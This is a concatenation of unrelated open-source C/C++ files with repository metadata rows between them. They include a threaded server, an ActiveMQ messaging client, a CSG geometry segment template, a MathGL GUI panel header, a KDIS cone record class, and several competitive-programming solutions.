for(int threads = 0; threads < maxThreads; threads++) {
printf("Waiting for thread %d to come back home", threads);
pthread_join(threadID[threads], NULL);
}
delete threadID;
pthread_mutex_destroy(&queueMutex);
pthread_cond_destroy(&hungry);
pthread_cond_destroy(&justAte);
Close(fileDescriptorListen);
}
void* serverPreThreaded::transactionConsumer(void *callerArg) {
serverPreThreaded* caller = static_cast<serverPreThreaded *>(callerArg);
pthread_t id = pthread_self();
int threadNumber = -1;
for(int IDNum = 0; IDNum < caller->maxThreads; IDNum++) {
if(pthread_equal(id,caller->threadID[IDNum])) {
printf("Thread %d is now active with priority of %d\n", IDNum, caller->getThreadPriority());
threadNumber = IDNum;
break;
}
}
if(threadNumber < -1) { printf("Something is wrong with the threads... (thread ID is -1\n"); }
int processedImages = 0;
// while(caller->running) { //FIXME segfault
while(true) {
pthread_mutex_lock(&(caller->queueMutex));
if(caller->connectionQueue.empty()) {
printf(FBLU("Connection queue is empty, so thread %d is sleeping\n"), threadNumber);
pthread_cond_wait(&(caller->hungry), &(caller->queueMutex));
}
// if(caller->running) {
int fileDescriptor = *(caller->connectionQueue.front());
delete caller->connectionQueue.front();
caller->connectionQueue.pop();
printf(FRED("Thread %d just ate connection %d, queue size is now %d\n"), threadNumber, fileDescriptor, (int)caller->connectionQueue.size());
pthread_mutex_unlock(&(caller->queueMutex));
pthread_cond_signal(&(caller->justAte));
// caller->running = caller->transaction(caller, &fileDescriptor); //see the fix me above
if(caller->transaction(caller, &fileDescriptor)) {
printf(FBLU("Thread %d has processed %d image(s) so far\n"), threadNumber, ++processedImages);
} else { printf("Sorry, canceling the pre-threaded server over the network is not supported yet\n"); }
// } else { break; }
}
printf("Thread %d is shutting down\n", threadNumber);
return nullptr;
}
int serverPreThreaded::getThreadPriority() {
pthread_t thread_id = pthread_self();
struct sched_param param;
int policy, ret;
ret = pthread_getschedparam (thread_id, &policy, ¶m);
return param.sched_priority;
} |
afafe030ea1f69039ebee31cb6be510dff451448 | 16865caebac0c0b8e62ce1616ab46a196b2c8525 | /BaekJoon/BaekJoon_수학1/2869.cc | 42acc5a682132ceb1f4ed4e337d1c7bc82034952 | [] | no_license | gudonghee2000/Algorithm-C | aee435d5df6361c50b527496b7fff0968947f7b9 | 8b35403ec197fb6ca010776ccdd507d9478c09b9 | refs/heads/master | 2023-06-04T02:44:03.766993 | 2021-06-28T02:16:46 | 2021-06-28T02:16:46 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 366 | cc | 2869.cc | #include <iostream>
using namespace std;
int main() {
int a,b,v;
scanf("%d %d %d",&a,&b,&v);
int v1= v-a;
int c;
if(a==v){
c=1;
}
else if(v1<=a-b){
c=2;
}
else{
if(v1%(a-b) == 0)
c= (v1/(a-b))+1;
else{
c= (v1/(a-b))+2;
}
}
printf("%d",c);
return 0;
} |
e8a5c30d783bf18aaaf647b9c496a38d8fb0a4be | 8bea526d2eb20ed998b0df5afca1e6c762911c42 | /testmq/myactivemq/client.cpp | 9bccfab3be1088426595737e4bfaa8ec994b3a2e | [] | no_license | qiyugfh/CExamples | 46a0f6a34b01ecd96a62541b5e91df73875f6595 | 5bead6e01a43b077aa8d567b037f0db67e9ac246 | refs/heads/master | 2020-03-23T12:28:43.641659 | 2019-12-18T08:52:49 | 2019-12-18T08:52:49 | 141,561,470 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,214 | cpp | client.cpp | #include <decaf/lang/Thread.h>
#include <decaf/lang/Runnable.h>
#include <decaf/util/concurrent/CountDownLatch.h>
#include <activemq/core/ActiveMQConnectionFactory.h>
#include <activemq/core/ActiveMQConnection.h>
#include <activemq/transport/DefaultTransportListener.h>
#include <activemq/library/ActiveMQCPP.h>
#include <decaf/lang/Integer.h>
#include <activemq/util/Config.h>
#include <decaf/util/Date.h>
#include <cms/Connection.h>
#include <cms/Session.h>
#include <cms/TextMessage.h>
#include <cms/BytesMessage.h>
#include <cms/MapMessage.h>
#include <cms/ExceptionListener.h>
#include <cms/MessageListener.h>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
using namespace activemq;
using namespace activemq::core;
using namespace activemq::transport;
using namespace decaf;
using namespace decaf::lang;
using namespace decaf::util;
using namespace decaf::util::concurrent;
using namespace cms;
using namespace std;
class SimpleClient : public ExceptionListener, public DefaultTransportListener {
private:
Connection* connection;
Session* session;
Destination* destination;
MessageProducer* producer;
MessageConsumer* consumer;
bool useTopic;
bool clientAck;
std::string brokerURI;
std::string destURI;
private:
SimpleClient(const SimpleClient &);
SimpleClient & operator=(const SimpleClient &);
public:
SimpleClient(const std::string &brokerURI, const std::string &destURI,
bool useTopic = false, bool clientAck = false):
connection(NULL), session(NULL), destination(NULL),
producer(NULL), consumer(NULL), useTopic(useTopic),
clientAck(clientAck), brokerURI(brokerURI), destURI(destURI){
}
virtual ~SimpleClient(){
this->cleanup();
}
int open(){
printf("begin open ...\n");
try {
ActiveMQConnectionFactory* connectionFactory = new ActiveMQConnectionFactory( brokerURI );
connection = connectionFactory->createConnection();
delete connectionFactory;
ActiveMQConnection* amqConnection = dynamic_cast<ActiveMQConnection*>( connection );
if( amqConnection != NULL )
{
amqConnection->addTransportListener( this );
}
connection->start();
connection->setExceptionListener(this);
if( clientAck )
{
session = connection->createSession( Session::CLIENT_ACKNOWLEDGE );
} else
{
session = connection->createSession( Session::AUTO_ACKNOWLEDGE );
}
if( useTopic )
{
destination = session->createTopic( destURI );
} else
{
destination = session->createQueue( destURI );
}
printf("create producer!\n");
producer = session->createProducer( destination );
producer->setDeliveryMode( DeliveryMode::PERSISTENT );
printf("create consumer!\n");
consumer = session->createConsumer( destination );
}catch ( CMSException& e ) {
e.printStackTrace();
return -1;
}
return 0;
}
void close(){
printf("begin close ...\n");
this->cleanup();
}
string recvTask(){
printf("begin recv ...\n");
string text = "";
Message *message = NULL;
TextMessage *textMessage = NULL;
try{
message = consumer->receive();
textMessage = dynamic_cast<TextMessage *>(message);
text = textMessage->getText();
}catch(CMSException &e){
e.printStackTrace();
}
printf("recieve message: %s\n", text.c_str());
delete textMessage;
textMessage = NULL;
return text;
}
void sendTask(){
printf("begin send ...\n");
string text = "send 11111";
TextMessage *message = session->createTextMessage(text);
printf("send message\n");
producer->send(message);
delete message;
message = NULL;
}
// If something bad happens you see it here as this class is also been
// registered as an ExceptionListener with the connection.
virtual void onException(const CMSException& ex AMQCPP_UNUSED) {
printf("CMS Exception occurred. Shutting down client.\n");
exit(1);
}
virtual void onException(const decaf::lang::Exception& ex) {
printf("Transport Exception occurred: %s \n", ex.getMessage().c_str());
}
virtual void transportInterrupted() {
std::cout << "The Connection's Transport has been Interrupted." << std::endl;
}
virtual void transportResumed() {
std::cout << "The Connection's Transport has been Restored." << std::endl;
}
private:
void cleanup(){
try{
if( destination != NULL ) delete destination;
}catch (CMSException& e) {}
destination = NULL;
try{
if( consumer != NULL ) delete consumer;
}catch (CMSException& e) {}
consumer = NULL;
try{
if( session != NULL ) session->close();
if( connection != NULL ) connection->close();
}catch (CMSException& e) {}
try{
if( session != NULL ) delete session;
}catch (CMSException& e) {}
session = NULL;
try{
if( connection != NULL ) delete connection;
}catch (CMSException& e) {}
connection = NULL;
}
};
int main(int argc, char *argv[]){
activemq::library::ActiveMQCPP::initializeLibrary();
std::string brokerURI ="failover://(tcp://127.0.0.1:61616)";
std::string destURI1 = "fanghua1";
std::string destURI2 = "fanghua2";
bool useTopic = false;
SimpleClient client1(brokerURI, destURI1, useTopic);
SimpleClient client2(brokerURI, destURI2, useTopic);
client1.open();
client2.open();
client1.sendTask();
client2.sendTask();
client1.recvTask();
//client2.recvTask();
client1.close();
client2.close();
activemq::library::ActiveMQCPP::shutdownLibrary();
return 0;
}
|
289f82b1b63eafe937ea16859b01a99549d34db4 | 35376451f198aeaae05bc4b49aaa8535271487cf | /Minemonics/src/view/visualization/CEGUI/infopanels/graphpanels/MathGLPanel.hpp | bbb07f63ab51e36a68aa7f537a51dbafd3eb2c91 | [] | no_license | benelot/minemonics | 11d267619dc2a325841b6bec37a0cd4820ed8ed4 | e6e306dc704772a495afa3824f5f391703251e8c | refs/heads/master | 2022-06-21T15:31:06.041996 | 2022-06-10T21:39:09 | 2022-06-10T21:39:09 | 26,160,744 | 32 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 2,796 | hpp | MathGLPanel.hpp | #ifndef VIEW_VISUALIZATION_PANELS_MATHGLPANEL_H_
#define VIEW_VISUALIZATION_PANELS_MATHGLPANEL_H_
//# corresponding headers
#include <view/visualization/CEGUI/MovablePanel.hpp>
//# forward declarations
class ViewController;
namespace CEGUI {
class TextureTarget;
} /* namespace CEGUI */
//# system headers
//## controller headers
//## model headers
//## view headers
#include <OgrePrerequisites.h>
#include <OgreTexture.h>
//# custom headers
//## base headers
//## configuration headers
//## controller headers
//## model headers
//## view headers
#include <model/data/MathGLDataset.hpp>
//## utils headers
/**
* @brief The MathGL Panel displays mathematical functions in a scalable panel.
* @details Details
* @date 2015-02-24
* @author Benjamin Ellenberger
*/
class MathGLPanel: public MovablePanel {
public:
MathGLPanel(const std::string name, const int left, const int top, const int width,
const int height, Ogre::Root* const root, const int textureWidth,
const int textureHeight);
virtual ~MathGLPanel();
void onHorizontalSliderValueChanged();
void onVerticalSliderValueChanged();
void update(const double timeSinceLastFrame);
void addDataset(const MathGLDataset* dataset){
mDatasets.push_back(dataset);
}
void clearDatasets(){
mDatasets.clear();
}
void makePrint() {
mMakePrint = true;
}
double getHorizontalRotation() const {
return mHorizontalRotation;
}
void setHorizontalRotation(double horizontalRotation) {
mHorizontalRotation = horizontalRotation;
}
double getVerticalRotation() const {
return mVerticalRotation;
}
void setVerticalRotation(double verticalRotation) {
mVerticalRotation = verticalRotation;
}
const std::string& getXLabel() const {
return mXLabel;
}
void setXLabel(const std::string& xLabel) {
mXLabel = xLabel;
}
const std::string& getYLabel() const {
return mYLabel;
}
void setYLabel(const std::string& yLabel) {
mYLabel = yLabel;
}
const std::string& getZLabel() const {
return mZLabel;
}
void setZLabel(const std::string& zLabel) {
mZLabel = zLabel;
}
private:
CEGUI::Slider* mVerticalSlider; /**!< The slider right to the graph */
double mHorizontalRotation;
CEGUI::Slider* mHorizontalSlider; /**!< The slider below the graph */
double mVerticalRotation;
std::string mXLabel;
std::string mYLabel;
std::string mZLabel;
std::vector<const MathGLDataset*> mDatasets; /**!< The different data sets to plot*/
Ogre::TexturePtr mTexture; /**!< The texture to drawn the math gl on*/
double mTime; /**!< The indication of time math */
CEGUI::GUIContext* mRenderGuiContext; /**!< The render GUI context */
CEGUI::TextureTarget* mRenderTextureTarget; /**!< The render texture target */
bool mMakePrint; /**!< Make a print screen */
};
#endif /* MATHGLPANEL_H_ */
|
e953ec10dbbaa12f4e7820561f6638a8245aa8d7 | 67453d5f23425d1c80440530880fcea1a36ef352 | /CSG/Segment.inl | 13cbe823167395446c1e53464948c314a5957a24 | [] | no_license | Seter17/CSG | b1d6da267d365da34111e051c8dfaaa3a061bfeb | fa8fd1773b63db420792a262080f82438db49211 | refs/heads/master | 2021-03-19T06:29:41.319702 | 2014-10-07T16:21:22 | 2014-10-07T16:21:38 | 24,658,232 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,276 | inl | Segment.inl | namespace enterprise_manager {
template <class T>
inline Ouint
Segment<T>::startIndex() const {
return _startIndex;
}
template <class T>
inline Ouint
Segment<T>::endIndex() const {
return _endIndex;
}
template <class T>
inline T
Segment<T>::startDistance() const {
return _startDistance;
}
template <class T>
inline T
Segment<T>::endDistance() const {
return _endDistance;
}
template <class T>
inline typename Segment<T>::POINT_DESCRIPTOR
Segment<T>::midpointType() const {
return _midpointType;
}
template <class T>
Segment<T>::Segment()
: _startDistance(0),
_endDistance(0),
_startpointType(FACE), //init to invalid
_midpointType(FACE), //init to invalid
_endpointType(FACE), //init to invalid
_startIndex(0),
_endIndex(0) {}
template <class T>
/* virtual */
Segment<T>::~Segment() {}
template <class T>
void
Segment<T>::SetVertexIntersection(Ouint index, T distance) {
if (_startpointType == FACE) {
_startpointType = VERTEX;
_startIndex = index;
_startDistance = distance;
}
else {
//assert(_endpointType == FACE);
_endpointType = VERTEX;
_endIndex = index;
_endDistance = distance;
}
}
template <class T>
void
Segment<T>::SetEdgeIntersection(Ouint index, T distance) {
if (_startpointType == FACE) {
_startpointType = EDGE;
_startIndex = index;
_startDistance = distance;
}
else {
_endpointType = EDGE;
_endIndex = index;
_endDistance = distance;
}
}
template <class T>
bool
Segment<T>::IntersectionFound() {
return (_startpointType != FACE);
}
template <class T>
void
Segment<T>::SetIntersectionMidpoint(Ouint maxIndex) {
if (_startpointType == VERTEX && _endpointType == FACE) {
//vertex-vertex-vertex
_endpointType = VERTEX;
_endIndex = _startIndex;
_endDistance = _startDistance;
_midpointType = VERTEX;
}
else {
if (_startpointType == VERTEX && _endpointType == VERTEX) {
if ((_endIndex == _startIndex + 1) || (_startIndex == 0 && _endIndex == maxIndex)) {
//vertex-edge-vertex
_midpointType = EDGE;
}
else {
//vertex-face-vertex
_midpointType = FACE;
}
}
else {
//any other (v-f-e, e-f-v or e-f-e)
_midpointType = FACE;
}
}
}
template <class T>
/*static*/ Obool
Segment<T>::Overlap(const Segment& segmentA, const Segment& segmentB) {
T minA = segmentA._startDistance;
T maxA = segmentA._endDistance;
if (minA > maxA) {
minA = segmentA._endDistance;
maxA = segmentA._startDistance;
}
//test if one of segmentB points is inside segmentA
if (Greater(segmentB._startDistance, minA) && Lesser(segmentB._startDistance, maxA))
return true;
if (Greater(segmentB._endDistance, minA) && Lesser(segmentB._endDistance, maxA))
return true;
T minB = segmentB._startDistance;
T maxB = segmentB._endDistance;
if (minB > maxB) {
minB = segmentB._endDistance;
maxB = segmentB._startDistance;
}
//test if one of segmentA points is inside segmentB
if (Greater(segmentA._startDistance, minB) && Lesser(segmentA._startDistance, maxB))
return true;
if (Greater(segmentA._endDistance, minB) && Lesser(segmentA._endDistance, maxB))
return true;
//special case: one segment is a point, and lies on start/end of another
if (Equal(minA, maxA)) {
if (Equal(minA, minB) || Equal(minA, maxB))
return false;
}
if (Equal(minB, maxB)) {
if (Equal(minB, minA) || Equal(minB, maxA))
return false;
}
//special case: equal segments
if (Equal(minA, minB) && Equal(maxA, maxB))
return true;
//no overlap
return false;
}
template <class T>
void
Segment<T>::FindIntersection(const Segment& segmentB, const Polygon<T>& polygonA) {
T minB = segmentB._startDistance;
T maxB = segmentB._endDistance;
if (minB > maxB) {
minB = segmentB._endDistance;
maxB = segmentB._startDistance;
}
if (_startDistance < _endDistance) {
if (Lesser(maxB, _endDistance, Vertex<T>::tolerance)) {// *2)) {
_endDistance = maxB;
_endpointType = _midpointType;
if (_midpointType == EDGE && (_endIndex == polygonA.NextIndex(_startIndex)))
_endIndex = _startIndex;
}
if (Greater(minB, _startDistance, Vertex<T>::tolerance)) {// *2)) {
_startDistance = minB;
_startpointType = _midpointType;
if (_midpointType == EDGE && (_endIndex != polygonA.NextIndex(_startIndex)))
_startIndex = _endIndex;
}
}
else {
if (Lesser(maxB, _startDistance, Vertex<T>::tolerance)) {// *2)) {
_startDistance = maxB;
_startpointType = _midpointType;
if (_midpointType == EDGE && (_endIndex != polygonA.NextIndex(_startIndex)))
_startIndex = _endIndex;
}
if (Greater(minB, _endDistance, Vertex<T>::tolerance)) {// *2)) {
_endDistance = minB;
_endpointType = _midpointType;
if (_midpointType == EDGE && (_endIndex == polygonA.NextIndex(_startIndex)))
_endIndex = _startIndex;
}
}
//if _startpointType != EDGE
// CreateEdgeVertex
// if edge vertex == polygonA.vertex(si)
// _startpointType = VERTEX
//samme for endPointType
}
template <class T>
Oint
Segment<T>::IntersectionType() {
return ((_startpointType << 4) + (_midpointType << 2) + _endpointType);
}
template <class T>
std::string
Segment<T>::IntersectionType(Oint it) {
switch (it) {
case VERTEX_VERTEX_VERTEX: return "VERTEX_VERTEX_VERTEX";
case VERTEX_EDGE_VERTEX: return "VERTEX_EDGE_VERTEX";
case VERTEX_EDGE_EDGE: return "VERTEX_EDGE_EDGE";
case VERTEX_FACE_VERTEX: return "VERTEX_FACE_VERTEX";
case VERTEX_FACE_EDGE: return "VERTEX_FACE_EDGE";
case VERTEX_FACE_FACE: return "VERTEX_FACE_FACE";
case EDGE_EDGE_VERTEX: return "EDGE_EDGE_VERTEX";
case EDGE_EDGE_EDGE: return "EDGE_EDGE_EDGE";
case EDGE_FACE_VERTEX: return "EDGE_FACE_VERTEX";
case EDGE_FACE_EDGE: return "EDGE_FACE_EDGE";
case EDGE_FACE_FACE: return "EDGE_FACE_FACE";
case FACE_FACE_VERTEX: return "FACE_FACE_VERTEX";
case FACE_FACE_EDGE: return "FACE_FACE_EDGE";
case FACE_FACE_FACE: return "FACE_FACE_FACE";
default: return "UNKNOW";
}
}
} // namespace enterprise_manager
|
212750faf32b1283d6e9cbd27bb027eab27907d8 | 53fb03baf21e52d6213fafe452ee8997f81d026e | /lib/include/VectorIO.hpp | c411e55f107e7c9491a8e2caff70cdc3df8c0895 | [] | no_license | Delmond/Belief-Propagation | f6a7a3f8312b9ae528913692c79be6dfa5e1c19f | 72166cd6e5895108c5be0f626a97763033787178 | refs/heads/master | 2023-04-05T01:55:05.966420 | 2020-07-16T12:45:38 | 2020-07-16T12:45:38 | 363,995,427 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 629 | hpp | VectorIO.hpp | #ifndef VECTOR_IO_H
#define VECTOR_IO_H
#include <vector>
#include <string>
#include <fstream>
using namespace std;
class VectorIO {
public:
template<typename T>
static vector<T> loadFromFile(string fileName){
ifstream fileInput(fileName);
if(fileInput.fail()){
throw domain_error("Failed opening file while loading vector");
}
unsigned height, width;
fileInput >> height >> width;
vector<T> vec(height);
for(unsigned i = 0; i < height; i++){
fileInput >> vec[i];
}
return vec;
}
};
#endif // VECTOR_IO_H |
81d3473da2d6a9c5076c15919a629368b43686af | f2a8872ac0d158fb7a075dcb53cb17fb796813f5 | /complete/baekjoon1759.cpp | 18354d3113d6e8027b8a196ec928065a1c5d99c6 | [] | no_license | weaver9651/coding | e5478af67d75f632e4d3ec82c447ecbf018aca6a | ed18d3f228d1b8bb6ba94c5242e63397a8c32553 | refs/heads/master | 2023-06-13T02:06:37.606985 | 2023-05-26T18:52:44 | 2023-05-26T18:52:44 | 171,222,908 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,346 | cpp | baekjoon1759.cpp | #include <cstdio>
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
/*
최소 1개 모음, 2개 자음
C : 문자 종류
L : 암호 자릿수
오름차순으로만 정렬
*/
int L, C;
vector<char> chars;
void In() {
scanf("%d%d", &L, &C);
char tmp;
scanf("%c", &tmp); // remove newline
for (int i = 0; i < C; i++) {
scanf("%c", &tmp);
chars.push_back(tmp);
scanf("%c", &tmp); // remove newline
}
}
bool isOK(string word) {
int vowel = 0;
int consonant = 0;
for (int i = 0; i < word.size(); i++) {
if (word[i] == 'a' ||
word[i] == 'e' ||
word[i] == 'i' ||
word[i] == 'o' ||
word[i] == 'u' ) {
vowel++;
}
else
consonant++;
}
if (vowel >= 1 && consonant >= 2)
return true;
else
return false;
}
void dfs(int index, string word, int length) {
if (length == L) {
if (isOK(word)) {
cout << word << endl;
}
return;
}
if (index >= C)
return;
dfs(index+1, word.append(1, chars[index]), length+1);
word = word.substr(0, word.size()-1);
dfs(index+1, word, length);
}
int main () {
In();
sort(chars.begin(), chars.end());
string word = "";
dfs(0, word, 0);
// for (vector<char>::iterator it = chars.begin(); it != chars.end(); it++) {
// printf("%c ", *it);
// }
return 0;
}
|
05d560952b3b1199fa45a150530afe317644360c | 58de9d2bc96c26ff3e7705d9eb3753717d915394 | /children.cpp | 766dc71f2b7ec0ffb7c666285d12ac1beb98fc6c | [] | no_license | ishaqsyed1/MCT-Device | 631b3473ee382e199d1e0fcf4bf073505a6a2215 | 5cf88d27d44b99d4e41c3c2a5e83002a1a710408 | refs/heads/main | 2023-07-18T15:58:09.540413 | 2021-09-17T16:21:02 | 2021-09-17T16:21:02 | 407,606,201 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 55 | cpp | children.cpp | #include "children.h"
children::children()
{
}
|
84ff0617c9141bca5c2606fe66fb2212a9c31568 | 92f39ae30f6e394151e568c6e7fa22a41b8d4d3a | /B - Sale.cpp | dbbdf7f66e376065948abbe77abf374026eaefcf | [] | no_license | rezavai92/Codeforces-Problem-Solutions | c3f7501f0e9fd369106cdb29e3c01f05a4b719e0 | 2f2485d74075f1a38381c348f4e17d58cb70f2bf | refs/heads/master | 2023-03-23T16:50:10.274762 | 2021-03-08T07:07:44 | 2021-03-08T07:07:44 | 282,690,833 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 378 | cpp | B - Sale.cpp | #include <iostream>
#include <bits/stdc++.h>
using namespace std;
int main (){
int n,m;
cin>>n>>m;
vector <int> prices;
while(n--){
int p;
cin>>p;
prices.push_back(p);
}
sort(prices.begin(),prices.end());
int sum=0;
for (int i=0;i<m;i++){
if (sum+prices[i]*(-1)>sum){
sum+= prices[i] * (-1);
}
else {
break;
}
}
cout<<sum<<endl;
}
|
3146596d00fa7a04dfbd32410fa4f06bd9d10711 | 731d0d3e1d1cc11f31ca8f8c0aa7951814052c15 | /InetSpeed/winrt/impl/Windows.UI.Xaml.Automation.Text.2.h | a07c26a2bbbf923aab311d09d50ef5d5a8ee6e72 | [] | no_license | serzh82saratov/InetSpeedCppWinRT | 07623c08b5c8135c7d55c17fed1164c8d9e56c8f | e5051f8c44469bbed0488c1d38731afe874f8c1f | refs/heads/master | 2022-04-20T05:48:22.203411 | 2020-04-02T19:36:13 | 2020-04-02T19:36:13 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 252 | h | Windows.UI.Xaml.Automation.Text.2.h | // C++/WinRT v1.0.170717.1
// Copyright (c) 2017 Microsoft Corporation. All rights reserved.
#pragma once
#include "Windows.UI.Xaml.Automation.Text.1.h"
namespace winrt {
namespace Windows::UI::Xaml::Automation::Text {
}
namespace impl {
}
}
|
7ff00fb78334478386125addf0e02578322b0e5d | ee62284b179a1f4a1e93bdf639599de3f9ff6c5e | /KDIS/DataTypes/ConeRecord2.cpp | 43647ce29d081dd2b24df89869439d34fb4ce427 | [
"BSD-2-Clause",
"MIT"
] | permissive | jarvisfriends/KDIS | 3c96f272e838d6fbd616f548dc4a2eb139b64495 | 8a4482417c008c61783f311cccb3f37b7cd5e983 | refs/heads/master | 2020-03-28T08:10:32.445533 | 2018-09-09T02:45:22 | 2018-09-09T02:45:22 | 147,949,372 | 5 | 1 | null | 2018-09-09T02:45:23 | 2018-09-08T16:14:43 | C++ | UTF-8 | C++ | false | false | 7,617 | cpp | ConeRecord2.cpp | /*********************************************************************
Copyright 2013 Karl Jones
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
For Further Information Please Contact me at
Karljj1@yahoo.com
http://p.sf.net/kdis/UserGuide
*********************************************************************/
#include "./ConeRecord2.h"
using namespace KDIS;
using namespace DATA_TYPE;
using namespace ENUMS;
//////////////////////////////////////////////////////////////////////////
// public:
//////////////////////////////////////////////////////////////////////////
ConeRecord2::ConeRecord2() :
m_f32ddtHeight( 0 ),
m_f32ddtPeak( 0 )
{
m_ui32EnvRecTyp = ConeRecord2Type;
m_ui16Length = CONE_RECORD_2_SIZE * 8;
}
//////////////////////////////////////////////////////////////////////////
ConeRecord2::ConeRecord2(KDataStream &stream) noexcept(false)
{
Decode( stream );
}
//////////////////////////////////////////////////////////////////////////
ConeRecord2::ConeRecord2( KUINT8 Index, const WorldCoordinates & VertexLocation, const EulerAngles & Orientation,
const Vector & Velocity, const Vector & AngularVelocity, KFLOAT32 Height,
KFLOAT32 PeakAngle, KFLOAT32 DHeightOverDt, KFLOAT32 DPeakAngleOverDt ) :
ConeRecord1( Index, VertexLocation, Orientation, Height, PeakAngle ),
m_Velocity( Velocity ),
m_AngularVelocity( AngularVelocity ),
m_f32ddtHeight( DHeightOverDt ),
m_f32ddtPeak( DPeakAngleOverDt )
{
m_ui32EnvRecTyp = ConeRecord2Type;
m_ui16Length = CONE_RECORD_2_SIZE * 8;
}
//////////////////////////////////////////////////////////////////////////
ConeRecord2::~ConeRecord2()
{
}
//////////////////////////////////////////////////////////////////////////
void ConeRecord2::SetVelocity( const Vector & V )
{
m_Velocity = V;
}
//////////////////////////////////////////////////////////////////////////
const Vector & ConeRecord2::GetVelocity() const
{
return m_Velocity;
}
//////////////////////////////////////////////////////////////////////////
Vector & ConeRecord2::GetVelocity()
{
return m_Velocity;
}
//////////////////////////////////////////////////////////////////////////
void ConeRecord2::SetAngularVelocity( const Vector & V )
{
m_AngularVelocity = V;
}
//////////////////////////////////////////////////////////////////////////
const Vector & ConeRecord2::GetAngularVelocity() const
{
return m_AngularVelocity;
}
//////////////////////////////////////////////////////////////////////////
Vector & ConeRecord2::GetAngularVelocity()
{
return m_AngularVelocity;
}
//////////////////////////////////////////////////////////////////////////
void ConeRecord2::SetDHeightOverDt( KFLOAT32 DDT )
{
m_f32ddtHeight = DDT;
}
//////////////////////////////////////////////////////////////////////////
KFLOAT32 ConeRecord2::GetDHeightOverDt() const
{
return m_f32ddtHeight;
}
//////////////////////////////////////////////////////////////////////////
void ConeRecord2::SetDPeakAngleOverDt( KFLOAT32 DDT )
{
m_f32ddtPeak = DDT;
}
//////////////////////////////////////////////////////////////////////////
KFLOAT32 ConeRecord2::GetDPeakAngleOverDt() const
{
return m_f32ddtPeak;
}
//////////////////////////////////////////////////////////////////////////
KString ConeRecord2::GetAsString() const
{
KStringStream ss;
ss << EnvironmentRecord::GetAsString()
<< "\tVertex Location: " << m_Loc.GetAsString()
<< "\tOrientation: " << m_Ori.GetAsString()
<< "\tVelocity: " << m_Velocity.GetAsString()
<< "\tAngular Velocity: " << m_AngularVelocity.GetAsString()
<< "\tHeight: " << m_f32Height << "\n"
<< "\td(Height)/dt: " << m_f32ddtHeight << "\n"
<< "\tPeak Angle: " << m_f32PeakAngle << "\n"
<< "\td(Peak Angle)/dt: " << m_f32ddtPeak << "\n";
return ss.str();
}
//////////////////////////////////////////////////////////////////////////
void ConeRecord2::Decode(KDataStream &stream) noexcept(false)
{
if( stream.GetBufferSize() < CONE_RECORD_2_SIZE )throw KException( __FUNCTION__, NOT_ENOUGH_DATA_IN_BUFFER );
stream >> m_ui32EnvRecTyp
>> m_ui16Length
>> m_ui8Index
>> m_ui8Padding
>> KDIS_STREAM m_Loc
>> KDIS_STREAM m_Ori
>> KDIS_STREAM m_Velocity
>> KDIS_STREAM m_AngularVelocity
>> m_f32Height
>> m_f32ddtHeight
>> m_f32PeakAngle
>> m_f32ddtPeak
>> m_ui32Padding;
}
//////////////////////////////////////////////////////////////////////////
KDataStream ConeRecord2::Encode() const
{
KDataStream stream;
ConeRecord2::Encode( stream );
return stream;
}
//////////////////////////////////////////////////////////////////////////
void ConeRecord2::Encode( KDataStream & stream ) const
{
stream << m_ui32EnvRecTyp
<< m_ui16Length
<< m_ui8Index
<< m_ui8Padding
<< KDIS_STREAM m_Loc
<< KDIS_STREAM m_Ori
<< KDIS_STREAM m_Velocity
<< KDIS_STREAM m_AngularVelocity
<< m_f32Height
<< m_f32ddtHeight
<< m_f32PeakAngle
<< m_f32ddtPeak
<< m_ui32Padding;
}
//////////////////////////////////////////////////////////////////////////
KBOOL ConeRecord2::operator == ( const ConeRecord2 & Value )const
{
if( EnvironmentRecord::operator !=( Value ) ) return false;
if( m_Loc != Value.m_Loc ) return false;
if( m_Ori != Value.m_Ori ) return false;
if( m_Velocity != Value.m_Velocity ) return false;
if( m_AngularVelocity != Value.m_AngularVelocity ) return false;
if( m_f32Height != Value.m_f32Height ) return false;
if( m_f32ddtHeight != Value.m_f32ddtHeight ) return false;
if( m_f32PeakAngle != Value.m_f32PeakAngle ) return false;
if( m_f32ddtPeak != Value.m_f32ddtPeak ) return false;
return true;
}
//////////////////////////////////////////////////////////////////////////
KBOOL ConeRecord2::operator != ( const ConeRecord2 & Value )const
{
return !( *this == Value );
}
//////////////////////////////////////////////////////////////////////////
|
